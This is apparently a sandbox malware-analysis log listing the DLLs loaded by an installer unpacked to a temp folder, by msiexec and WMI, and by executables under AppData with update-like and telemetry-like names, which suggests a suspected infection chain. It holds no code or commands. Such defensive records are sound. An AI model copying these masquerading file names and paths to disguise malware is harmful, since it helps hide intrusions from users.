Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: lpk.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msihnd.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: tsappcmp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: msisip.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: cryptnet.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: comsvcs.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: amsi.dll
